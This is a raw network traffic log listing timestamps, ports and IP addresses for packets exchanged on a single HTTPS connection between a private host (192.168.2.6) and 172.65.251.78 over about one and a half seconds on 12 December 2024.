Dec 12, 2024 12:59:28.447074890 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.447149038 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.447149038 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.454183102 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.454201937 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.454265118 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.454287052 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.458239079 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.461329937 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.461357117 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.461489916 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.461489916 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.461498022 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.461915970 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.468669891 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.468698025 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.468838930 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.468838930 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.468852043 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.468970060 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.475497961 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.475518942 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.475600004 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.475608110 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.475924015 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.482414007 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.482433081 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.482517958 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.482523918 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.482661963 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.489202976 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.489226103 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.489353895 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.489367962 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.489679098 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.496412992 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.496431112 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.496579885 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.496593952 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.496920109 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.640479088 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.640497923 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.640587091 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.640604019 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.641483068 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.647620916 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.647634983 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.647871971 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.647895098 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.648088932 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.654927015 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.654942989 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.655332088 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.655339003 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.655710936 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.661245108 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.661261082 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.661375999 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.661381960 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.661658049 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.668355942 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.668370962 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.668500900 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.668514967 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.668800116 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.675549984 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.675570011 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.675704002 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.675730944 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.675844908 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.681941032 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.681957960 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.682280064 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.682296038 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.682372093 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.689145088 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.689162970 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.689213037 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.689220905 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.689285994 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.689285994 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.833678961 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.833699942 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.833751917 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.833769083 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.833802938 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.840286016 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.840301991 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.840356112 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.840369940 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.840420008 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.847517014 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.847536087 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.847579956 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.847594023 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.847614050 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.847639084 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.852982044 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.852997065 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.853039026 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.853051901 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.853091002 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.860968113 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.860985041 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.861021042 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.861032963 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.861058950 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.861083031 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.868104935 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.868120909 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.868185997 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.868196964 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.868237019 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.874771118 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.874785900 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.874844074 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.874850035 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.874946117 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.881680012 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.881694078 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.881756067 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:28.881762028 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:28.881800890 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.024796963 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.024822950 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.024879932 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.024898052 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.024924994 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.024949074 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.031923056 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.031950951 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.031982899 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.031990051 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.032021046 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.032038927 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.038197041 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.038213015 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.038280010 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.038286924 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.038324118 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.046535015 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.046551943 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.046611071 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.046617031 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.046653032 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.054672003 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.054697990 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.054733038 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.054739952 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.054766893 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.054790020 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.061060905 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.061075926 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.061122894 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.061132908 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.061156034 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.061177015 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.067464113 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.067480087 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.067523003 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.067533970 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.067579031 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.073211908 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.073230028 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.073278904 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.073286057 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.073323011 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.216689110 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.216712952 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.216767073 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.216784954 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.216810942 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.216831923 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.224072933 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.224092960 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.224144936 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.224152088 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.224190950 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.231158972 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.231179953 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.231230974 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.231237888 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.231282949 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.237550974 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.237569094 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.237622976 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.237628937 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.237662077 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.237684011 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.244832993 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.244854927 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.244910002 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.244919062 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.244960070 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.251818895 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.251835108 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.251889944 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.251893997 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.251949072 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.259058952 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.259074926 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.259125948 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.259135008 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.259169102 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.259182930 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.266170979 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.266189098 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.266269922 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.266279936 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.266324997 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.409678936 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.409708023 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.409750938 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.409768105 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.409800053 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.409816027 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.416011095 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.416033030 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.416074038 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.416079998 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.416106939 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.416129112 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.423228025 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.423255920 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.423285961 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.423290968 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.423325062 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.430505991 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.430520058 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.430568933 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.430574894 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.430603981 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.436944962 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.436959982 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.437000990 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.437016010 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.437041044 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.437055111 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.444689035 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.444730043 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.444746017 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.444758892 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.444781065 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.444799900 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.451133966 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.451157093 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.451193094 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.451205015 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.451226950 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.451245070 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.458499908 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.458515882 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.458564043 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.458576918 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.458621979 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.600999117 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.601021051 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.601066113 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.601084948 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.601125002 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.609611988 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.609627962 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.609699965 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.609721899 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.609760046 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.616431952 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.616471052 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.616492987 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.616506100 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.616543055 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.622847080 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.622870922 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.622901917 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.622912884 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.622945070 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.629513979 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.629579067 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.629591942 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.629609108 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.629635096 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.629654884 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.636415958 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.636466026 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.636478901 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.636493921 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.636522055 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.636538029 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.643887043 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.643938065 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.643961906 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.643979073 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.644004107 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.644021034 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.650669098 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.650722980 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.650743961 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.650758982 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.650780916 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.650799036 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.794138908 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.794190884 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.794503927 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.794518948 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.794728041 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.799308062 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.799396992 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.799433947 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.799439907 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.799480915 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.805802107 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.805819988 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.806087971 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.806107044 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.813227892 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.813242912 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.813630104 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.813642025 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.820420027 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.820432901 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.820523024 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.820523024 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.820537090 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.827172995 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.827218056 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.827307940 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.827307940 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.827317953 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.834511042 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.834589958 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.834633112 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.834650993 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.834765911 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.840836048 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.840912104 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.840953112 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.840970993 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.841039896 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.885905981 CET	49878	443	192.168.2.6	172.65.251.78
Dec 12, 2024 12:59:29.986011028 CET	443	49878	172.65.251.78	192.168.2.6
Dec 12, 2024 12:59:29.986073017 CET	443	49878	172.65.251.78	192.168.2.6
